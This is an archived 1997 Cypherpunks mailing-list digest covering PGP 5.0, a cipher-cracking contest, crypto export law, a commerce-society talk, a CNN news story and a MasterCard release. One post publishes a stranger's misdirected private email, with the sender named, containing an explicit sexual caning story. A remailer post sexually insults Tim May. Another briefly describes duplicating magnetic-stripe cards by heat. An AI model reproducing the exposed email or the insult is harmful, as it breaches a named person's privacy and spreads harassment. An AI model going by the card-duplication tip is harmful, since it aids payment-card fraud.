Message-ID: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
guts out when run.  (At least on my machine.)

It looks like they have hired a new graphics artist.  The splash page looks 
interesting.  Nice if the rest would run...

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEUAwUBM337SeQCP3v30CeZAQHrIwf3bwkNKXwDPb5R2qLMneIIWBTfYvwAGCQ6
8xqd0BHSsD+7ZzF4u9iVZWV9sHN/62LxAo886FfDP7PtKG+JZrZCa+KOUj2Zw3qk
1wltug8/rylAoLHulXwFVfwWb001jMIsS5RYNqDLqyccVF2TWUbVKQEgH7EI9VJ3
EU8gZzHF61ok+bqacmV/r7ANoIdfFRvLZHm0iGo6Xm4xHz8lw2JzDWWvnhWnEquD
mf3XUaNRVYnI4/+kgs8fx5golMY3pPQrl6PR0XdvvLJITUhiqM3SVTDs9IL4hWAx
V7WWGPHaJZw6nVAl5LNbLK9puGFw0FMap1a6Ld+HnmRlxlgpr8B/
=gdHU
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From nobody at huge.cajones.com  Sat May 17 18:07:49 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 18 May 1997 09:07:49 +0800
Subject: A wee bit of Civil Disobedience
Message-ID: <199705171954.MAA17404@fat.doobie.com>


Want to add a bit of mass civil disobedience to the Crypto movement?

Get alt.binaries.crypto created as a usenet news group.

Why has this not happened already?  This will make an even bigger mockery of the ITARs, the EARs, and the other silly regs throughout the world.

[BTW, for those of you who oppose "Careerpunks", consider this...  How can you throw your crypto-sabots if you cannot get close to the machinary of industry?]

Jarvis Pym
Mad Chemist of Kaos









From DataETRsch at aol.com  Sat May 17 18:10:04 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Sun, 18 May 1997 09:10:04 +0800
Subject: VSA2048 CRACKING CONTEST
Message-ID: <970517135403_2018739284@emout09.mail.aol.com>


Host: DataET Research (http://www.dataet.com)
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 836 bytes
Decrypted (unsecured) file size: 836 bytes
Hints: No message hints available
Key and message post location: cypherpunks at toad.com
Contact: info at dataet.com
Limitations: U.S. residents only
Prize: FREE basic Web site package & apology posted to cypherpunks at toad.com &
discontinuation of VSA2048-based products

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 836
Mode: 179
Mean: 127
Median (middle character, no order): 3






From adam at homeport.org  Sat May 17 18:16:18 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 18 May 1997 09:16:18 +0800
Subject: CC fingerprints
In-Reply-To: <199705170904.FAA29705@linux.nycmetro.com>
Message-ID: <199705171835.OAA23077@homeport.org>


harka at nycmetro.com wrote:

| Their solution, called the Magneprint system, reads the millions of tiny
| magnetic particles, which are unique on each card, says Professor Ronald
| Indeck.
| Each magnetic stripe on the card has two important areas. The first looks
| like a bar code, which contains the account number. The rest is a random
| pattern of magnetic information -- a signature that is different on every
| card and impossible to duplicate, Indeck says.

	"Impossible to duplicate."  Perhaps he has never heard of the
ironing trick?  (You use an iron to heat one card in the proximity of
the other.  This breaks up the cohesion of the particles on the card
close to the iron.  The magnetic field in the other card causes the
particles to realign themselves as they cool.)

	I suspect that a conventional card reader won't duplicate the
other areas of the card.  But the duplicability of bits is a
fundamental fact. Thats why Chaum's original systems are online, and
safer than the smartcard system.  The smartcard based systems depend
on the cost of breaking behing higher than the payoff for criminals.
(Or the cost of breaking the smartcard based system as opposed to
breaking some other system.)

	A mag stripe card, with no defenses built in, can be
duplicated.  Are they offering prize money for beating thier system?
My only worry would be that they read finely enough that they notice
small deviations in the duplicate.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From JKYuRamos at aol.com  Sat May 17 18:16:33 1997
From: JKYuRamos at aol.com (JKYuRamos at aol.com)
Date: Sun, 18 May 1997 09:16:33 +0800
Subject: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517140349_-962654051@emout04.mail.aol.com>


In a message dated 97-05-16 20:58:27 EDT, you write:

<<   no insults or bashing, i promise
 
   the use of the built-in Random function looks scary.  my five minute
 overview of the code may have missed some cleverness (or i may have missed
 your own implementation of Random).  i am not a cryptographer, and can't
 comment much more on the actual encryption algorithms you're using
 
   from an engineering standpoint: i assume that you stripped the comments
 out before posting the source
 
   from a legal standpoint: you should probably yank the source code off
 of your site.  i am not a lawyer, but making this stuff downloadable from
 outside the US is risky >>

Hi. Sorry, actually, I regret that the code was developed with no inline
comments. Yes, you probably did skim over some essential code. Also, again,
the pseudo-random number generator is NOT the only method used to encrypt a
file. In fact, the pseudo-random number generator code could have been left
out to some extent. I have also specified that that no one who is not in the
U.S. may access the source code, but if no one cracks the file located at
http://www.dataet.com/public/source/vsacmv20/crackit.dat by June 20th, 1997,
I'll have to assume that VSA2048 is an extremely secure encryption algorithm,
and I will consider having the source code removed from the site.

Regards,

Jeremy Yu-Ramos
DataET Research

Host: DataET Research (http://www.dataet.com)
Contest expiration date: June 20th, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 836 bytes
Decrypted (unsecured) file size: 836 bytes
Hints: No message hints available
Key and message post location: cypherpunks at toad.com
Contact: info at dataet.com
Limitations: U.S. residents only
Prize: FREE basic Web site package & apology posted to cypherpunks at toad.com &
discontinuation of VSA2048-based products

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 836
Mode: 179
Mean: 127
Median (middle character, no order): 3






From rah at shipwright.com  Sat May 17 18:18:25 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 18 May 1997 09:18:25 +0800
Subject: DCSB: Fred Hapgood on the Internet as an Auction-Pricing Incubator
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents

                            Fred Hapgood

            "The Internet as an Auction-Pricing Incubator"



                        Tuesday, June 3, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


The low transaction costs and interactivity of the internet are proving a
highly favorable incubator for auction pricing.  In April Yahoo reported
60+ sites supporting online auctions with more appearing every day. The
largest of these hosted more than 50,000 individual auctions (not
individual items) simultaneously and was growing at 25% a month.  Online
auction sites appear to be the only indigenous internet service that is a)
generating profits of any scale and b) respectable. Fred will describe how
these auctions work, some of their varieties, what they are selling,
analyze the online auction site as a business model, review recent
developments, and weigh the odds that online auctions will be associated
with changes of interest in the structure of the economy and the culture.

Fred Hapgood, , is a free-lance writer based
in Boston. While he often writes about aspects of electronic commerce, that
being where the market is, he promises creditworthy clients an attentive
and positive hearing to any proposition legal in at least one jurisdiction.
Last year he spoke before the DCSB on franchising and the internet.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, June 3, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 31, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

July      Win Treese           TLS, Digital Commerce, and Export Issues
August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga,  .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to  .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to  .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEVAwUBM34DRMUCGwxmWcHhAQEgRwf+NMnjays51ipVI2DUkN7641PAGn21PWLI
CdvLO8TbbXJu6KNcjw/E3fsz+j+ykiYZJl4liiNI7XUC3aB58QbKIHMouM09jIjA
VrPaqGP5EL9DjGh+ZHl7qm/SuuP8a6tAfEWkxCHb6Z+X0ezWipziD+3S4PEe5wcd
LLW7SRMvWxzVjDKfeokCZL3e43o4xfzNDPBStxVGvONC73A+FMDLWRFxcCJ1o4iX
n9fevJuymUf1itZps2ZsK6eU1dXbcXgaX8326OkjBHvGg3IIF0lARKRpPlMVCWxG
BCwpKsP/vkzw97+QuhOJJIg5fq0uXqXAADDOwS6SSwt3oCp6cuBcog==
=DaZq
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From ravage at EINSTEIN.ssz.com  Sat May 17 18:23:24 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sun, 18 May 1997 09:23:24 +0800
Subject: index.html
Message-ID: <199705172034.PAA02900@einstein.ssz.com>


    CNN logo 
   WORLD navbar 
   
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   World banner Alan Greenspan. Is he the man with the golden touch? 
   
     rule
     usa.nightmare --From Danish newspaper Ekstrabladet
     
                DENMARK: U.S. OFFICIALS OVER-REACTED OVER BABY
                                       
     
     
     May 17, 1997
     Web posted at: 1:33 p.m. EDT (1733 GMT) restaurant
     
     COPENHAGEN, Denmark (Reuter) -- Denmark's foreign minister said
     Saturday that a Danish mother had been foolish to leave her baby
     daughter outside a New York restaurant, but U.S. authorities who
     jailed her for two days had over-reacted.
     
     Danish newspapers ran front-page pictures of actress Annette
     Sorensen and 14-month-old daughter Liv after a New York City judge
     Friday dropped criminal charges against the mother.
     
     "USA Nightmare over - Free," Ekstrabladet's headline read."We Won,"
     crowed rival tabloid B.T. reunion
     
     Sorensen was jailed for two days last weekend and her baby put into
     foster care for four days. She had left Liv parked in a stroller
     outside a restaurant while she and the child's American father were
     having a drink and watching her through the window.
     
     "It was rash of the mother to leave her child in an American city.
     It is not clever but is perhaps excusable because she was not really
     aware of the danger," Foreign Minister Niels Helveg Petersen told
     B.T.
     
     "But the American authorities over-reacted because this was not a
     case of a mother who could be accused of neglecting her child, it's
     completely out of proportion," he added.
     
     Ekstrabladet quoted Sorensen, 30, as saying that she bore no
     animosity over the affair. denmark
     
     "I'm not quite myself again yet, but I am not bitter toward the
     United States (although) I honestly can't say if I will ever come
     back again," she told the paper, holding Liv in her arms, at a
     champagne celebration in New York's Danish Seamen's Church.
     
     Under terms of the deal reached before Judge Michael Gross by her
     attorney, the Manhattan District Attorney and the Danish Consulate,
     the criminal charges of endangering the welfare of a child were
     dismissed and the case will be closed for good in six months.
     
     "It is our belief that this was a clash of cultures and a lack of
     understanding," her attorney Todd Barnet said.
     
     The mother's lawyers said that she did not think twice about leaving
     the child outside the restaurant because it was common practice in
     Copenhagen.
     
     Sorensen still must appear in Family Court Wednesday but B.T. quoted
     a lawyer for the Danish Consulate in New York, Peter
     Hessellund-Jensen, as saying that he foresaw no problems.
     
     "I am convinced that the hearing is only a formality," he said.
     
     Sorensen's attorney says she has a plane ticket to leave the United
     States May 27. She had been in the country less than 48 hours when
     her daughter was taken from her.
     
     Copyright 1997 Reuters Limited. All rights reserved.  rule
     
  Related stories:
  
     * Charges against Danish mother effectively dropped - May 16, 1997
     * Women charged with leaving baby outside while dining in restaurant
       - May 13, 1997
     * New York returns baby to Danish mother - May 13, 1997
       
      rule Message Boards 
     
  Sound off on our message boards
  
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     golden touch? rule
     
   
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From dlv at bwalk.dm.com  Sat May 17 18:27:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 18 May 1997 09:27:31 +0800
Subject: From the orphan folder
In-Reply-To: 
Message-ID: 


Sometimes one finds amazing stuff in the orphan folder.
What the heck is "industry.dm.com"?  All the boxes in
the dm.com domain have Russian names. Must be a typo.

Moral: use PGP.

>From ktinkler at spartan.ac.BrockU.CA  Fri May 16 16:15:33 1997
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To: tartar at industry.dm.com
From: ktinkler at spartan.ac.BrockU.CA (Keith Tinkler)
Subject: trying your address



--========================_19208278==_
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problem

I was sorry to lose you just as you were getting your clitoris out and into
view - I presume the network daemons got you? In any case I was going to
ask you to rub it hard to an orgasm while we were in dcc and thought about
the cyber caning I gave you and the real one I would like to give you. So,
I hope you took it upon yourself to do that anyway. What sort of cane was
it? - thick (less liable to break skin) - long - that your friend used? If
we meet ever - maybe I will write a story - have you read it as I described
- and cane you hard for infractions. After each stroke you will get a
minute to recover equilibrium - then its open season on your rump again
(you have no idea how perfectly delicious your bottom sounds to me!). Mind
you it isn't punishment for a masochist!!! But we would both enjoy it.

It was wonderful to discover someone as open and willing as you were -
there seem to be a number of closet masochists on the spanking channels!
but many are very prissy and don't want sex with their spanking - woe
betide you if you touch their privates - or even allude to them or the
aromas arising. Its hard to remember now - that I "took you" over from
Spandex... (or whatever his name was). I think you don't mind exhibitionism
either?

There is only room for one story in this email - I have found attachements
- even text ones - get garbled more and more these days. I'd rather dcc but
that fell through today. However, I have attached another text file - try
to open it and let me know if you can.

Critical

*********************
The lady is for caning

If you were here with me now this is what I'd do. After dark you'd strip in
the house. Slightly heeled sandals. Its a warm night. I'd walk you down
through the woods which compose most of our lot, 200 yards with a
flickering torch playing its narrow yellow beam on your pale nakedness, to
the path that runs by the river. We'd walk along that to a secluded glade
400 yards away. There is plenty of light from the urban lights reflected
from the clouds, and enough wind in the trees to swallow noises. Along the
way you would select a suitable willow from a fresh stand. Strip it with my
pocket knife. Test it for sound and flexibility. Pronouce it ideal. We
walk, I test it. I watch your nervous walk. Your bottom has a mind of its
own. Here we are. A fallen trunk, stripped bare of bark, a fitting match
for you. Tied to it. Along it. A long strap round the trunk and your waist.
Wrists bound above your head, along the trunk. Legs slightly apart, either
side of the trunk, tied to pegs already hammered in the ground. Bottom
pristine, pouch dampening, what a sight, what a precious moment of truth:
for you - the audacious submission of your body; - for me the enjoyment of
the fragile perfection of its contours. There is no hurry. The Lady is for
caning. Hard and slowly. Perhaps even harder, and even more slowly. But not
yet. I want to see you moving from the sheer thought of it. Of what is
coming. For long minutes I caress your torso, stroking with the cane.
Trailing the tip along the backbone. Teasing the cleft of your bottom,
between your legs, the insides of your thighs. .... Another time you will
strapped down on your back, with your legs wide, wide apart. Those adorable
inner thighs. Buts that to be another time, another time ... another place.
Back to work. I must touch you with my fingers. My finger indents the line
of a cane print across that round offering. Its drying. I rewet it. That is
where the first one will come. I whisper that. A conspiratorial whisper. A
secret between you and me. Perhaps you will be able to remember that. A
memorable place. The crease. Where lovers spank hardest lest lovers forget
the hardness of their love. You'll remember five in the crease. Each time
you sit. I mention this, another secret. In the next few days the heat will
get to you. The heat of the climate, the heat of the cane. You'll want to
sit and drink in the air conditioning. A short skimpy dress. No pants, no
bra. Proud nipples, stiff in the cool air. A blazing seat on cool vinyl
seats. Every move an echo of agony. I'm getting to you for I see you
squirming. Its a rhythm I recognize. The way the buttocks move. The
undulation. Someone is feeling sexy. Yes, my fingers wet. Smear it along
the crease. Remember the crease? Whats coming there? I ask you. You do
remember, I can see that. Good, good. Your memory was something that needed
working on. You didn't say as much, but I could see. And your aversion to
cock-sucking was another. But lets not get distracted. I can see you still
remember about the crease. It seems to interest you. Time to reinforce the
learning. No time like the present.
ONE....FIVE. All in the crease. Just one mark. That waist strap works well,
your waist is tight, your bottom mobile, very mobile and perfectly
tempting. And now ..... TEN ... FIFTEEN ... TWENTY ....and so on. Hard,
very hard. The wind carries the noises, various away (or are you better
trained now?) Well-spaced in time so the pain can build to a crescendo. And
you'll like the pattern, all over your bottom. Quite fussy about that
aren't you? You won't know the final count. You never do, do you? Not
unless I tell you. Quite right. I'd be at fault if you did. You're sobbing
just a little. Come, its over, sweet cane lover. I kiss the crests of your
printed cheeks and untie you. A pained walk, my arm round your bare waist.
Our other hands clasped tightly. Just a long minute along the crunchy path
I turn us about, pivoting on my left leg. I can feel you quivering with
real terror, quivering with the horror of anticipation as I walk you back
to that trunk. Astride it again. Tied just as tightly. This time your arms
down, tied underneath the trunk. Posterior blazing. Now it is about to
explode. I stroke the curves with the cane. Ripples of fire shiver that
taut derri=E8re. Do you remember the crease? Don't worry I shall remind you.
Splash. Some cooling water. And now, time for ignition. You know exactly
where. You haven't forgotten. ONE. A very satisfying shriek. AM I hard. I
walk round and show it to you. You don't like to suck cocks I remember. I
shouldn't dream of forcing you. I'm not like that. TWO. Ohhhh, the obvious
agony. Your pussy is wet, I can see the glistening outer folds. Your cheeks
are very splayed, it shows prettily, but those cheeks are full enough to
protect it. I get behind you and just touch the sopping lips with myself,
rubbing along the slot. My tip, the bulging hood, is soaking. I get off and
go round to show you. I know you're distracted. I tell you it is your own
juice. I think you know, but you ARE very distracted, eyes wet, your chest
heaving as well as it can against the old bare log. It must be rough on
those delicious B-cup globes I adore. A little squashed and aching I
imagine. Reminder time. THREE in the crease. And to be sure you remember,
=46OUR. I dip my chip again at leisure, a little deeper, and show it you
again. I AM very thoughtful. I believe I saw a flicker of interest.
Academic of course for you don't suck cocks. Your dip on my stick. The
things people do. But back to basics. You ARE such a purist - restraint, a
bare bottom, a hand-picked rattling cane, and the decisions left to me.
Back again to pain of the cane. FIVE. Your posterial agility in restraint
is amazing. The rising wind swallows your high pitched comments and cools
your bottom. SIX. Another very deep dip, and my you are hot inside. And
wet. I display it to you again. This time so close you could ... my
goodness you do!!! And I thought you didn't like ....? I love it of course,
and I soon show you I do. Ahh, that surprised you a little. If you are
nauseated it doesn't show. BUT I'm almost forgetting, I'd hate you to think
I was too distracted to provide your needs, SO, now thats over, back to
basics. SEVERAL MORE, slowly and frightenly crisp, because the Lady, what a
lady, IS for caning.
The cane lover is untied again. The long slow wobbly walk home, wet-eyed
and sobbing.  I'm tempted to take you back again, but I don't. Once more my
arm round your bare waist. Our other hands clasped tightly. For all the
world two lovers. One nude, very well-caned and weeping. A cyclist passes
in the gloom. A little surprised at your nudity I shouldn't wonder, but
she's past us so fast she'll just think we've fallen out. Up the slope. I
light your way flashing the torch up between your legs. We both know I'm
looking at your prints. Into the house. Onto the bed. Face down. Stiff
bolster under your hips. Ankles tied to a spread bar. Just to be sure. Your
worn leather sandals will do to re-chauff=E9e the cheeks. They may have
cooled down a little during the walk back. A few dozen really quickly while
I hold you hands together behind your back. First one cheek. Then the
other. Some final friendly ones across the crest. Squeals and more tears.
I expect you'll stay that way when I've untied your ankles! And now,
finally, my rod and comforter. Doesn't that feel good. All night long. My,
my, you aren't at all modest, are you, when you've taken? YOU'LL DO
ANYTHING! I do like that.




--========================_19208278==_
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MEfjcD at 4PFL"dD'8JF'pcFfPLE'8JE at 9ZG5i0$8NJDfPcFb"jEh8JCf9ZG'aj)'*
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QEh*RCA3JG'KP)'KTCfJJC'&bDb"LE(9P)(CPE(CPG#"MEfaXBA)r$3d0Sj!!!!!
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LBA*cEfePGfKPFQ9849K8!J!!!&4&@&4dG(Kd!3!!!&4&@&4dG(Kd!3$rrrrr!!!
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1V4R#6qm!%'!-F!![!!!!!!S!+!!$!33"m`$i!!!"!!!!!3i!!!!1!!!!3J%D96!
'r!!!!"`!-J!!8epA8!!!!!TE!3!!!!!!!!%D6b!29fPZC'ph)&"[FfPdD at pZm&J
!:


--========================_19208278==_--






From nobody at huge.cajones.com  Sat May 17 18:28:26 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 18 May 1997 09:28:26 +0800
Subject: [ADMINISTRATIVIUM] Zero-knowledge interactive proofs
Message-ID: <199705180033.RAA26968@fat.doobie.com>


Tim Mayflower's 16Kb brain's single convolution is directly wired to his 
rectum for input and his T1 mouth for output. That's 16K bits, not bytes. 
Anal intercourse has caused extensive brain damage.

        \|||/
        (o o)
    -ooO-(_)-Ooo- Tim Mayflower






From tcmay at got.net  Sat May 17 18:32:55 1997
From: tcmay at got.net (Tim May)
Date: Sun, 18 May 1997 09:32:55 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: 


At 10:39 AM -0800 5/17/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks
>interesting.  Nice if the rest would run...

More than that, did they decide to release the source code?

Last I heard, the answer was "of course not!!!!"

Why it is important that source code be released is left as an exercise.

If it isn't released....


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cpunks at algebra.com  Sat May 17 18:35:21 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Sun, 18 May 1997 09:35:21 +0800
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience] (fwd)
Message-ID: <199705180121.UAA24753@manifold.algebra.com>


----- Forwarded message from Toto -----

>From cpunks at manifold.algebra.com  Fri May 16 06:20:38 1997
Message-ID: <337C3D50.1B50 at sk.sympatico.ca>
Date: Fri, 16 May 1997 04:56:16 -0600
From: Toto 
Reply-To: toto at sk.sympatico.ca
Organization: TOTO Enterprises
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: gomez at BASISinc.com
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience]
Content-Type: multipart/mixed; boundary="------------62391A621C0B"
Sender: owner-cypherpunks at toad.com
Precedence: bulk

This is a multi-part message in MIME format.

--------------62391A621C0B
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-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/

--------------62391A621C0B
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Received: from online.offshore.com.ai (online.offshore.com.ai [206.48.59.106]) by orion.sk.sympatico.ca with ESMTP (8.7.5/8.7.3) id DAA18333 for ; Fri, 16 May 1997 03:31:04 -0600 (CST)
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	by online.offshore.com.ai (8.8.5/8.8.5) id FAA02624;
	Fri, 16 May 1997 05:42:14 -0400
Message-Id: <199705160942.FAA02624 at online.offshore.com.ai>
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From: "C.J. Parker" 
To: president at whitehouse.gov, toto at sk.sympatico.ca
Date: Fri May 16  5:42:13 1997
Subject: ITAR / S 1726 / Civil Disobedience


Dear Mr. President,

   I am writing to express my disapproval of the Clinton Administration's
position on the ITAR restrictions for encryption software.  This is an
important issue to me.

  1) Software is writing, so it is protected by the first amendment, 
     so the ITAR is unconstitutional.  The idea that only paper books
     are first amendment protected, and electronic books are not, is just 
     plain wrong.

  2) The ITAR does not help National Security, but in fact greatly reduces 
     our nations security because the Internet, and the computers and 
     information connected to it, are kept from using good Encryption.  

  3) I feel that encryption is very important for doing commerce on the 
     Internet, and that commerce on the Internet is important for our 
     economy (Internet is the fastest growing sizable segment).  You say 
     you like the "Information Super Highway" and you are "going to focus 
     on the economy like a laser".  You should be removing the ITAR 
     restrictions on American businesses.  Otherwise the business for 
     commerce software will go to companies in other countries.

  4) The Clinton Clipper III proposal to have government key escrow 
     is not acceptable.  Also, it will never work, since people will 
     always be able to buy and use software from the rest of the world.  
     This proposal is just slowing down Internet progress.  Please
     cancel Clipper III.

  5) Please support Senator Burns Pro-CODE bill S 1726 that would end 
     this foolishness.  

     Or better yet, just take software off the list of "munitions".
     The current law, (see http://www.law.cornell.edu/uscode/22/2778.html),
     says that "The President shall periodically review the items on 
     the United States Munitions List to determine what items, if any, 
     no longer warrant export controls under this section.  The results 
     of such reviews shall be reported to the Speaker of the House [...] 
     at least 30 days before any item is removed from the Munitions 
     List [...]."  

  5) As an act of civil disobedience I have personally exported an 
     encryption program (it is 3 lines of writing) using the web page at 
     http://online.offshore.com.ai/arms-trafficker/

Yours sincerely,


     C.J. Parker
     toto at sk.sympatico.ca

Sent from host lohner20.sk.sympatico.ca with IP 142.165.98.20 


--------------62391A621C0B--


----- End of forwarded message from Toto -----






From gbroiles at netbox.com  Sat May 17 18:51:30 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sun, 18 May 1997 09:51:30 +0800
Subject: Distributing cryptographic code
In-Reply-To: <9705161836.AA28876@angreal.MIT.EDU>
Message-ID: <3.0.1.32.19970517183655.00867d60@mail.io.com>



This thread was booted from coderpunks, perhaps the interested parties will
continue it here. 

At 02:36 PM 5/16/97 EDT, Yoav Yerushalmi wrote:
[...]
>  I'm part of a research group here at MIT, and several groups here
>have written implementations of concepts and protocols that involve
>cryptography in one way or another (encryption/signing/voting, etc).
>
>  We would like to put this code up for distribution (within the US
>of course), but don't actually know what is a 'reasonable' amount of
>protection that one need apply to prevent people from exporting
>it to the rest of the world.

If I were you, I'd talk to the other folks at MIT distributing strong
crypto code, they've certainly had to think about/work on this problem.
Might as well ride on their coattails. 

Having said that, you might take a look at 15 CFR 734.2(b)(9)(ii) if you're
really feeling masochistic, which says that making software available via
the Internet such that it is available for transfer outside of the United
States is an export unless the person making the software available takes
certain precautions. The precautions are:

>>>>
    (A) Ensuring that the facility from which the software is available 
controls the access to and transfers of such software through such measures
as:
    (1) The access control system, either through automated means or 
human intervention, checks the address of every system requesting or 
receiving a transfer and verifies that such systems are located within 
the United States;
    (2) The access control system, provides every requesting or 
receiving party with notice that the transfer includes or would include 
cryptographic software subject to export controls under the Export 
Administration Act, and that anyone receiving such a transfer cannot 
export the software without a license; and
    (3) Every party requesting or receiving a transfer of such software 
must acknowledge affirmatively that he or she understands that the 
cryptographic software is subject to export controls under the Export 
Administration Act and that anyone receiving the transfer cannot export 
the software without a license; or
    (B) Taking other precautions, approved in writing by the Bureau of 
Export Administration, to prevent transfer of such software outside the 
U.S. without a license.
<<<<

The software publishers I'm familiar with who make strong crypto available
via the Internet in a commercial setting (Microsoft, Netscape, C2Net) do
reverse-DNS lookups on the requester to try to figure out whether or not
they're inside the United States. 

This is *not* an "official" answer, nor is it legal advice. The regulations
discussed above have been public for less than five months. I've spoken
with several attorneys who specialize in export control and they've all
commented that the regs were drafted quickly, without good attention to
detail, and are not necessarily models of clarity or precision. Nobody's
100% sure what they mean. 

Also, one person commented within the coderpunks thread:
>>>>
A disclaimer would be adeqate protection if I remember correctly.
I don`t recall what the situation is in the US, is it the case that
the provider of the information is guilty of export, or the person
that actually downloads it, if it is available via anonymous FTP???
<<<<

A disclaimer is not good enough. Both are potentially liable under US law
(modulo arguments about constitutionality, vagueness, etc). The downloader
is guilty of an illegal export, and the person who made the software
available is (using the definition in 15 CFR 734.2) guilty of an export,
and also has potential liability for conspiracy and/or aiding and abetting,
depending on the facts of the particular case. 

But a clerk in Egghead who sells a copy of 128-bit Netscape to a "foreign
person" is also guilty of an export violation. The interesting question is
whether or not the feds will choose to prosecute violators .. and which
ones. Internet crypto distribution sites have a much higher profile than
random minimum-wage clerks who wouldn't have violated the law if they'd had
any clue it existed. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From rah at shipwright.com  Sat May 17 18:57:03 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 18 May 1997 09:57:03 +0800
Subject: MULTOS announcement from MasterCard --- FYI
Message-ID: 



--- begin forwarded text


From: davidk at air.com
X-Sender: saguaro at pop.tiac.net (Unverified)
Date: Sat, 17 May 1997 16:56:13 -0400
To: Robert Hettinga 
Subject: MULTOS announcement from MasterCard --- FYI
Mime-Version: 1.0

 MasterCard launches global smart card  platform
Date:    97-05-15 16:38:28 EDT
From:    AOL News

    NEW YORK--(BUSINESS WIRE)--May 15, 1997--

      Platform provides MasterCard member financial institutions with
          complete solution in migrating to chip-based payment products
          MasterCard International today became the first payments brand to
begin implementing a complete solution for making the widespread use
